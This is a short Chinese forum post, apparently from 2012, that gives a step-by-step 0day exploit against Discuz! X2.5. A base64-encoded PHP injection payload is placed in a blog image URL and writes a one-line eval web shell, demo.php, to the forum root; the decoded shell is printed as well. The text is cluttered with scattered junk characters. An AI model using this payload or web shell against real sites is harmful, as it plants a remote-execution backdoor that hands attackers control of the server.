DZ X2.5最新0day4 x# E& _% P! y7 z/ V( |# j
1.注册任意账户. k% h' i) w% r3 {% c) H* ~3 b$ m
2.登陆用户，发表blog日志（注意是日志） //点击一下中间注册的用户名 就看到了
7 ~ ~- V9 T$ i/ K. a3.添加图片，选择网络图片，地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} //所使用代码/ r S6 u8 i) h( g3 }
<?php @eval($_POST[c]); ?>ok
2 H6 X& B( A: {: Q6 H( w<?fputs(fopen("dome","w"),"<?eval(\$_POST[c]);?>")?>
" u8 ^! q. }& U4.访问日志，论坛根目录下生成demo.php，一句发密码C |
发表于 2012-10-19 08:30:36
收藏
支持
反对
发表于 2012-10-21 12:23:43